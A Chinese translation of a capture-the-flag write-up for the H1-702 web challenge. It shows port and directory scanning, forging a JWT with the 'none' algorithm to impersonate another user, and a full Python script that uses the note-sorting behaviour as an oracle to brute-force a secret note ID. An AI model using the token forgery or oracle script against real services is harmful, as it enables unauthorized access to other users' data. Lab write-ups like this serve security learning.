h1–702 CTF — Web挑戰Write Up

原文鏈接:https://medium.com/@amalmurali47/h1-702-ctf-web-challenge-write-up-53de31b2ddce


當你打開挑戰鏈接時會看到以下內容:

可以在挑戰網站上找到提示:http://159.203.178.9/

用瀏覽器打開網站,你會看到一個常規的HTML歡迎頁面:

46ee0c6e0af7b659b046692886948795.png

看上去有一個祕密服務用來存儲筆記。標題說明它與RPC有關。

考慮到去年的題目,我認爲它可能被藏在80之外的端口上。於是做了個基本的nmap端口掃描:

nmap -sT 159.203.178.9 -p1-65535

沒想到,只有80和22端口打開着。

試過幾個涌現在腦海的目錄後,比如/xmlrpc.php、/notes、/rpc等,我放棄了並決定直接暴力破解。

我使用工具dirsearch並拿Jason Haddix的content_discovery_all.txt作爲字典:

python3 dirsearch.py -u http://159.203.178.9/ -t 50 -w content_discovery_all.txt -e 'php'

過了幾分鐘。掃描結束了,我得到兩個結果!

  1. /README.html
  2. /rpc.php

來看看這些uri都有些什麼。

深挖

README頁面的標題顯示“Notes RPC Documentation”。該頁面說:

This service provides a way to securely store notes. It’ll give them the ability to retrieve them at a later point. The service will return random keys associated with the notes. There’s no way to retrieve a note once the key has been destroyed. The RPC interface is exposed through the /rpc.php file. A call can be invoked through the method parameter. Each note is stored in a secure file that consists of a unique key, the note, and the epoch of when the note was created.

Authenticating to the service can be done through the Authorization header. When provided a valid JWT, the service will authenticate the user and allow to query metadata, retrieve a note, create new notes, and delete all notes.

(翻譯)
本服務保證筆記的安全存儲。它會讓筆記在後續可被讀取。服務將返回與筆記相關聯的隨機密鑰。一旦密鑰被銷燬,就無法讀取筆記。 RPC接口暴露在/rpc.php文件,可以通過method參數調用。每個筆記都存儲在一個安全文件中,文件由唯一鍵、筆記和創建筆記的紀元時間組成。

服務通過Authorization請求頭對用戶進行身份驗證。當提供有效的JWT時,該服務將對用戶進行身份驗證,並允許查詢元數據、讀取筆記、創建新筆記以及刪除所有筆記的操作。

該服務需要有效的JWT(JSON Web令牌)才能執行身份驗證。我們可以在服務中做以下操作:

  • 查詢所有筆記的元數據
  • 讀取筆記
  • 創建一個新筆記
  • 刪除所有筆記

其他沒什麼好看的。在標題“Versioning”下面提到了以下內容:

The service is being optimized continuously. A version number can be provided in the Accept header of the request. At this time, only application/notes.api.v1+jsonis supported.

(翻譯)
該服務正在不斷優化。通過請求的Accept標頭中可以獲得版本號。目前,僅支持application/notes.api.v1+json的類型。

似乎沒必要指出只允許JWT v1,有點奇怪。但是現在我要嘗試理解API的工作原理了。

createNote()

我嘗試用cURL來創建筆記:

curl 'http://159.203.178.9/rpc.php?method=createNote'
    -H 'Content-Type: application/json'     
    -H 'Authorization:eiOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'    
    -H 'Accept: application/notes.api.v1+json'     
    -d '{"note": "This is my note"}'

響應如下:

{"url":"\/rpc.php?method=getNote&id=6e7c032c148eae33a142c754905c5fb6"}

不出意料,文檔中也提到“如果沒有指定ID,將填充16位隨機數”。如果我們指定任意ID會發生什麼?

curl 'http://159.203.178.9/rpc.php?method=createNote'    
    -H 'Content-Type: application/json'     
    -H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'     
    -H 'Accept: application/notes.api.v1+json'     
    -d '{"id":"test", "note": "This is my note"}'

這次響應變成:

{"url":"\/rpc.php?method=getNote&id=test"}

nice!我們自己選擇ID。

getNote()

如果你用getNote()訪問同一筆記,會得到什麼呢?

curl 'http://159.203.178.9/rpc.php?method=getNote&id=6e7c032c148eae33a142c754905c5fb6'     
    -H 'Content-Type: application/json'     
    -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'    
    -H 'Accept: application/notes.api.v1+json'

響應如下:

{"note":"This is my note","epoch":"1530279830"}

nice!但epoch的值又是什麼呢?看上去像筆記創建時的時間戳,我使用date -r很快驗證了這一想法。

getNotesMetaData()

再來試試訪問筆記的元數據:

curl 'http://159.203.178.9/rpc.php?method=getNotesMetadata'    
    -H 'Content-Type: application/json'     
    -H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'    
    -H 'Accept: application/notes.api.v1+json'

得到如下響應:

{"count":1,"epochs":["1530279830"]}

看上去count代表筆記的數量,epochs是已存在筆記的epoch數組。

我們來創建更多的筆記看會發生什麼,我重放了多次createNote()請求並查詢了元數據:

{"count":4,"epochs":["1530279830","1530281119","1530281120","1530281121"]}

就像我猜的,數量增加了,筆記時間的順序也是單調遞增。最後添加的epoch排在數組的末尾。

再來試試重置筆記。

curl 'http://159.203.178.9/rpc.php?method=resetNotes'     
    -H 'Content-Type: application/json'     
    -H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'     
    -H 'Accept: application/notes.api.v1+json'     
    -d '{"note": "This is my note"}'

對應的響應:

{"reset": true}

沒啥亮點。只是爲了確認,我檢查了元數據,果然,我創建的所有筆記現在都消失了。

所以我們已經測試了服務中的所有方法,然後呢?讓我們看看是否可以打破它。

我嘗試更改Content-Types、完全刪除Authorization頭、重放請求並保持請求頭長度不變但只改一個字符等辦法,但都沒有效果 - 它響應
{"authorization":"is invalid"}{"authorization":"is missing"}。還是別僥倖了。

重新挖掘

我打開Burp並測試了各種方法來產生異常,但看不出任何異常或奇怪的東西。貌似我錯過了本題很重要的線索。雖然應用程序本身很小,但我可能忽略了什麼東西。根據大學時期的在線挖洞經驗,我偶然查看了README.html的源代碼,並按Ctrl + F查找<!--'看是否有隱藏的註解。哈!果然有東西。

17da26ac97f6df721730d5cb19ae6587.png

隱藏在明文中…但卻看不見。我應該早點看到這個,但遲到總比沒有好。這表明我最初對API版本描述的懷疑是正確的——API v2有不一樣的地方。它們使用“優化的文件格式,在保存之前根據其唯一鍵值對筆記進行排序”。我google了一下,看看是否有這樣的文件格式。在我的一次搜索中,我找到了Amazon RedShift:

Amazon Redshift stores your data on disk in sorted order according to the sort key.

(翻譯)
Amazon Redshift依據排序鍵對你的數據排序並存儲入硬盤。

我後來意識到思路不對。爲什麼不直接用Fiddler抓包查看API v2?

我重複了之前的過程:

  • 創建筆記會得到一個包含id參數的url
  • 獲取筆記內容會得到筆記(筆記內容)和epoch(時間戳)。
  • 獲取筆記的元數據的響應似乎沒變。
  • 重置筆記,將所有內容重置爲初始狀態。

一切似乎與v1相同。但是他們已經提到v2正在使用一些花哨的排序功能——那麼測試一下。文檔中說該方法“在保存之前根據其唯一鍵對筆記進行排序”。好吧,每個筆記都有兩個參數——筆記的ID(可以自己指定)和筆記內容。這裏的唯一鍵是筆記ID,這是符合邏輯。讓我們嘗試用隨機ID創建更多筆記,看看我們是否能找到一些東西。

看樣子要做好多手工工作,我討厭一遍又一遍地重複相同的事情——更改ID等等。我是自動化的忠實粉絲,用腳本可以做得更好。所以我使用requests庫和內置的json庫快速寫了一個Python腳本。

它看起來像這樣:

#!/usr/bin/env python3

import json
import requests as rq
from base64 import b64decode


def rpc(method, data=None, post=False):
    headers = {
        'Authorization': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak',
        'Content-Type': 'application/json',
        'Accept': 'application/notes.api.v1+json',
    }

    url = 'http://159.203.178.9/rpc.php?method={}'.format(method)

    if data:
        data = json.dumps(data)
        if post:
            # POST with params
            headers['Content-Length'] = str(len(data))
            return rq.post(url, headers=headers, data=data)
        else:
            # GET with params
            return rq.get(url, params=json.loads(data), headers=headers)
    elif post:
        # POST without params
        return rq.post(url, headers=headers)

    # GET request without params
    return rq.get(url, headers=headers)


def get_note(ident):
    r = rpc('getNote', data={'id': ident})
    print(r.text)
    if r.status_code == 200:
        return r.json()['note']


def epochs():
    r = rpc('getNotesMetadata')
    if r.status_code == 200:
        return r.json()['epochs']
    return None


def reset():
    r = rpc('resetNotes', post=True)
    if r.status_code == 200:
        return r.json()['reset']
    return None


def create(ident, note='a'):
    r = rpc('createNote', data={'id': ident, 'note': note}, post=True)
    if r.status_code == 400:
        return False
    elif r.status_code == 201:
        return True
    return None

其實是對API函數做封裝。現在,我們可以更輕鬆地與RPC輕鬆交互:

  • create(id)將創建具有指定ID的筆記。
  • epochs()會給你一個時間戳列表
  • reset()將重置筆記並恢復初始狀態。

現在從剛纔停下的地方開始——隨機ID創建筆記。我們用字母表作爲ID創建一些筆記:

def main():
    reset()
    for i in 'abcdefghijklmnopqrstuvwxyz':
        create(i)
        print(epochs())
        sleep(1)

if __name__ == '__main__':
    main()

響應結果如下:

['1530286994']
['1530286994', '1530286996']
['1530286994', '1530286996', '1530286998']
['1530286994', '1530286996', '1530286998', '1530287000']
['1530286994', '1530286996', '1530286998', '1530287000', '1530287002']
['1530286994', '1530286996', '1530286998', '1530287000', '1530287002', '1530287004']
... so on ...

和之前一樣,最後創建的筆記添加在數組末尾。我用其他隨機字符串、數字等繼續測試一段時間。毫無頭緒!

我開始思考這道題的意圖。顯然其他人做這道題,但我能夠創建僅與我的會話相關的獨特筆記。

如果用戶身份驗證是基於某些請求頭,我可能會僞造一些請求頭來規避驗證。我嘗試過HostX-Forwarded-Host,但無濟於事。經過一些嘗試,我得出結論,這可能是基於IP的身份驗證。

我覺得是時候回退,看看是否錯過了一些重要的東西(我經常這樣做)。我再次閱讀文檔,這次更仔細。關於JWT的部分引起了我的注意,我沒有過多探索那條路線。

關注JWT

那什麼是JWT?直接引用jwt.io的話(謝謝Auth0建立這個神器的網站):

JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. JWTs can be signed using a secret (with the HMAC algorithm) or a public/private key pair using RSA or ECDSA.

(翻譯)
JSON Web Token(JWT)是一個開放標準(RFC 7519),它定義了一種緊湊且獨立的方式,用於在各方之間以JSON對象的形式安全地傳輸信息。此信息可以通過數字簽名進行驗證和信任。 JWT可以使用祕密(使用HMAC算法)或使用RSA或ECDSA的公鑰/私鑰對進行簽名。

來自維基百科的解釋:

JWTs generally have three parts: a header, a payload, and a signature. The header identifies which algorithm is used to generate the signature, and looks something like this:

(翻譯)
JWT通常有三個部分:頭,有效負載和簽名。標頭記錄用於生成簽名的算法,看起來像這樣:

header = '{"alg":"HS256","typ":"JWT"}'

讓我們回過頭查看JWTAuthorization頭。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
eyJpZCI6Mn0.
t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak

這就是我們的JWT(爲了易讀性做了換行)。第一部分是頭,第二部分是有效負載,第三部分是簽名。 簽名計算方式如下:

key                = 'secretkey' 
unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload) 
signature        = HMAC-SHA256(key, unsignedToken)

既然已知頭、負載是base64編碼的,我們馬上得到實際值:

$ echo 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9' | base64 -D {"typ":"JWT","alg":"HS256"}

同樣操作:

$ echo 'eyJpZCI6Mn0=' | base64 -D 
{"id":2}

可以看到那裏有一個ID!我認爲可以假設它是用戶ID,那麼一直以來,我們一直在創建/查看/重置用戶ID 2的註釋。

(注意,我將填充=添加到上面的base64字符串。雖然根據RFC 7515,填充在JWT中是可選的,但在解碼時,還是要提供填充以便返回正確的字符串表示。)

我們可以使用jwt.io提供的調試器來代替人工操作。

1a04b271f7f101aea278f8c56835f2c9.png

我們可以嘗試將ID改成別的,例如id=1。

但是有一個問題。服務器要驗證簽名。我們需要對載荷{"id": 2}簽名。爲此,我們需要用於創建簽名的密鑰,但卻不知道。

在某些情況下破解用弱密碼簽名的JWT是可能的。我花了一些時間來爆破JWT。沒有用,所以我開始尋找與JWT相關的漏洞。

有趣的是,我發現了一個none算法。它被用在已經驗證過Token完整性的情況。它和HS256是必須實現的兩種算法。

如果服務器的JWT實現是:所有驗證過簽名的Token在使用none算法後爲有效令牌,我們就可以使用任意負載創建自己的“簽名”令牌。

創建這樣的令牌非常簡單:

  • 將標題更改爲{"alg": "none"},而不是HS256。
  • 將有效負載更改爲{"id": 1}
  • 設置空簽名''

讓我們使用可用的JWT模塊做這事(我使用的是PyJWT):

In [1]: import jwt 
In [2]: encoded = jwt.encode({"id": 1}, '', algorithm='none') 
In [3]: encoded 
Out[3]: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MX0.'

現在我們有了JWT,就可以在用戶id爲1的會話下創建筆記;我們要做的就是將Authorization標頭更改爲這個新制作的JWT。

我首先像以前一樣使用小寫字母進行測試,結果一樣——它不斷將新筆記的時間戳添加到數組末尾。如果我嘗試使用大寫字母呢?

['1528911533']  # Initial state
['1530295850', '1528911533'] # After inserting note with id = 'A'
['1530295850', '1530295852', '1528911533'] # B
['1530295850', '1530295852', '1530295854', '1528911533'] # C
['1530295850', '1530295852', '1530295854', '1530295856', '1528911533'] # D
['1530295850', '1530295852', '1530295854', '1530295856', '1530295858', '1528911533'] # E
['1530295850', '1530295852', '1530295854', '1530295856', '1530295858', '1528911533', **'1530295860'**] # F
['1530295850', '1530295852', '1530295854', '1530295856', '1530295858', '1528911533', '1530295860', '1530295862'] # G

1530295860出現的形式不同(特別是在插入F之後)。它沒有被插入到最後。好吧,怎麼可能?!

突破

經過一番思考後,我驚奇地發現這些筆記是按字典順序排列的!

假設筆記的ID爲bar。然後,如果我們添加的新筆記ID的字典順序<(讀作:小於)bar(例如abc),它將被插入到bar之前的位置;如果它是的字典順序> bar(例如zap),它將在bar之後插入。

所以在作比較時有某種特殊的排序功能。我們開始深入瞭解。好吧,我們可以查看源代碼,看看它是如何工作的,但我們只是凡人—— 我們無法訪問源代碼(Frans Rosen正在看着你)。因此,我插入更多的隨機筆記(不算非常隨機,我挑選了些可以讓我深入瞭解排序功能的樣本)。

我檢查了各種字母序列的順序(好吧,我寫了一個小腳本),並得到以下輸出:

['00', '000', '01', '001', '09', '0Z', '0a', '0z', 'A', 'A9', 'AA', 'AZ', 'Az', '<secret>', 'Z', 'ZZ', '0', 'a', 'a0', 'a1', 'a9', 'aZ', 'aa', 'ab', 'az', 'b', 'c', 'z', 'zz', '1', '9', '99']

<secret>是保存祕密記錄的ID。一開始我沒看明白,但如果忽略第一個的首字母,那一切看起來就很正常一致了。如果我不忽略第一個字母,由於某種原因,1和9就在右邊那邊。

通過深入測試,我得到以下結論:

  • ab < abc < ac
  • ab < abc
  • a9b < 0z
  • a < aa
  • aa < aaa
  • 等等…

從技術上來說,這並不是排序算法的一個小bug,我相信H1的邪惡人士想要讓題目變得更難,所以他們可能會加入這種“混淆”。

如果我們要重構服務中使用的比較功能,我們可以這樣寫:

letters = 'abcdefghijklmnopqrstuvwxyz'
letters = letters.upper() + letters

#  1 if a > b
#  0 if a = b
# -1 if a < b

def compare(string_a, string_b):
    global letters

    for i, (a, b) in enumerate(zip(string_a, string_b)):
        if i == 0:
            alpha = '0123456789' + letters
        else:
            alpha = letters + '0123456789'

        a_ind, b_ind = alpha.index(a), alpha.index(b)
        if a_ind < b_ind:
            return -1
        elif a_ind > b_ind:
            return 1

    if len(a) < len(b):
        return -1
    elif len(a) > len(b):
        return 1

    return 0

好的。現在我們知道鍵值是如何比較了,可以開始尋找鍵值(ID)了。

暴力破解

我們從文檔中瞭解到一些:

  • ID必須匹配該正則表達式[a-zA-Z0-9] +
  • ID可以超過16個字節。

一種簡單的方法是嘗試每一個可能的鍵。這需要花費很多時間和請求。

我們總結一下:

  • 我們需要創建自定義ID的新筆記,並推斷我們的祕密筆記是在它之前還是之後。
  • 我們只能使用比較運算符。
  • 搜索空間已知——[a-zA-Z0-9] +

這不就是二分查找!從現在開始,它變得非常簡單。我們只需要腳本化地暴力破解,並引入二分查找。

我的腳本(brute_secret_note.py)像這樣:

#!/usr/bin/env python3

import json
from base64 import b64decode

import requests as rq


def rpc(method, data=None, post=False):
    headers = {
        'Authorization': 'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MX0.',
        'Content-Type': 'application/json',
        'Accept': 'application/notes.api.v2+json',
    }

    url = 'http://159.203.178.9/rpc.php?method={}'.format(method)

    if data:
        data = json.dumps(data)
        if post:
            # POST with params
            headers['Content-Length'] = str(len(data))
            return rq.post(url, headers=headers, data=data)
        else:
            # GET with params
            return rq.get(url, params=json.loads(data), headers=headers)
    elif post:
        # POST without params
        return rq.post(url, headers=headers)

    # GET request without params
    return rq.get(url, headers=headers)


def get_note(ident):
    r = rpc('getNote', data={'id': ident})
    if r.status_code == 200:
        return r.json()['note']


def epochs():
    r = rpc('getNotesMetadata')
    if r.status_code == 200:
        return r.json()['epochs']
    return None


def reset():
    r = rpc('resetNotes', post=True)
    if r.status_code == 200:
        return r.json()['reset']
    return None


def create(ident, note='a'):
    r = rpc('createNote', data={'id': ident, 'note': note}, post=True)
    if r.status_code == 400:
        return False
    elif r.status_code == 201:
        return True
    return None


def where(a, b):
    for i, (x, y) in enumerate(zip(a, b)):
        if x != y:
            return i
    return min(len(a), len(b))


def search(head, secret=0):
    if head is '':
        alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
    else:
        alpha = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'

    i_min, i_max = 0, len(alpha) - 1
    old_epochs = epochs()
    tries = []

    while i_min + 1 != i_max:
        print('Search space: ', end='')
        for i, c in enumerate(alpha):
            print(['\x1B[0m', '\x1B[7m'][(i_min <= i) and (i <= i_max)] + c, end='')
        print('\x1B[0m')

        i = (i_max + i_min) // 2

        print('Trying', head + alpha[i])
        r = create(head + alpha[i])

        new_epochs = epochs()
        ind = where(old_epochs, new_epochs)
        old_epochs = new_epochs

        if r is None:
            print('Something has gone terribly wrong.')
            exit(1)
        elif r is False:
            secret_note_id = head + alpha[i]
            return secret_note_id

        if ind <= secret:
            secret += 1
            i_min = i
        elif ind > secret:
            i_max = i

    return search(head + alpha[i_min], secret)


reset()
secret_note_id = search('')
print('\nFound secret note ID: {}'.format(secret_note_id))

encoded_flag = get_note(secret_note_id)
decoded_flag = b64decode(encoded_flag).decode('utf-8')
print(u'\nFlag found 💃💃💃: {}'.format(decoded_flag))

運行腳本:

python3 brute_secret_note.py

工作原理

search()是這裏最重要的函數。將search()想象爲只查找最後一個字母更容易理解,然後讓它調用自己。第一個if語句的存在是因爲第一個字母的排序與其餘字母的排序不同。對於第一個字母,'0'>'z',但對於其餘的字母,'0'是可能的最小字母。

它是挨個字母比較的,然後下一個,依此類推。它首先檢查第一個字母,然後檢查下一個字母等。例如:'abc'>'abb'>'aac'

alpha只是按順序排列的字母數組。 i_mini_max是我們正在查看的字母表中的邊界。

首先,所有字母都在考察範圍內。i_min爲0,i_max是最後一個字母。使用二分搜索,把第一個字母放在範圍中間。 (i_min + i_max)// 2用於查找此中間值。然後我添加頭部(最初是一個空字符串)和找到的字符以形成一個筆記ID並創建一個帶有該ID的註釋。

search()函數的最後一部分設置了下一次迭代的邊界。當createNote()返回false時,意味着我們已到達結尾,因此返回它。

一旦我們找到了祕密ID,我們用該ID調用getNote(),對它進行base64解碼,然後我們得到了這個flag:

702-CTF-FLAG:NP26nDOI6H5ASemAOW6g

af4da54200537c16a710d591c202a140.gif

腳本運行動畫

【演示視頻鏈接】

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章